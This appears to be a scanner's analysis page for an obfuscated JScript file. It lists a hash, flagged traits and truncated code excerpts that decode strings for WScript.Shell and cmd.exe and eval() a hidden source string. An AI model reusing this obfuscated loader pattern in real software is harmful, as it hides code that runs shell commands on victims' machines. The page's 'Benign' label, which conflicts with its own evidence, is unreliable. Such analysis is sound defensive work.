Benign Download

7e73ce34e2fcefd0b2ac3dac5a1f853c

Encoded eval() callObfuscated WScript.Quit call

SHA-25699a69c1491830bb8666f99ae78a53bec2319672c27567ac5981fb24e263876c7

Evidence

Encoded eval() call line 1

1var _0x3781=['\x64\x2e\x65','\x53\x70\x65','\x73\x74\x65','\x2e\x53\x68','\x6d\x33\x32','\x6d\x65\x6e','\x65\x63\x74','\x59\x53\x54','\x72\x69\x70','\x6e\x76\x69','\x43\x6f\x6d','\x65\x6c\x6c','\x72\x6f\x6e','\x43\x72\x65','\x5c\x63\x6d','\x4f\x62\x6a','\x25\x53\x79'];(function(_0x346e65,_0x3781ff){var _0xcfefb5=function(_0x493b97){while(--_0x493b97){_0x346e65['push'](_0x346e65['shift']());}};_0xcfefb5(++_0x3781ff);}(_0x3781,0x140));var _0xcfef=function(_0x346e65,_0x3781ff){_0x346e65=_0x346e65-0x0;var _0xcfefb5=_0x3781[_0x346e65];return _0xcfefb5;};var _wscript='\x57\x53\x63'+_0xcfef('\x30\x78\x62')+'\x74';zzz=WScript[_0xc …

0x3f hex byte token line 1

1:4131… x14,0x1f,0xc,0x3,0x19,0x3,0xc,0xc,0xf,0x37,0x10,0x0,0x1,0x2,0x3,0x3f,0x9,0x3,0xb,0x3,0xc,0x20,0x9,0xc,0x3,0x19,0x3,0xc,0xc,0xf,0x37,0x10,0x0,0x1,0x2,0x3,0xe,0xa,0x2e,0x3,0xb,0x3,0xc,0x6,0x14,0xa,0 …

Calls eval on recovered source line 1

1:82550… x22,0x18,0x1c,0xf,0x37,0x10,0x34,0xf];var Bk5='';for(var Mc7=0x0;Mc7<Sm['\x6c\x65\x6e'+'\x67\x74\x68'];Mc7++){Bk5+=UGc3[Sm[Mc7]];}eval(Bk5);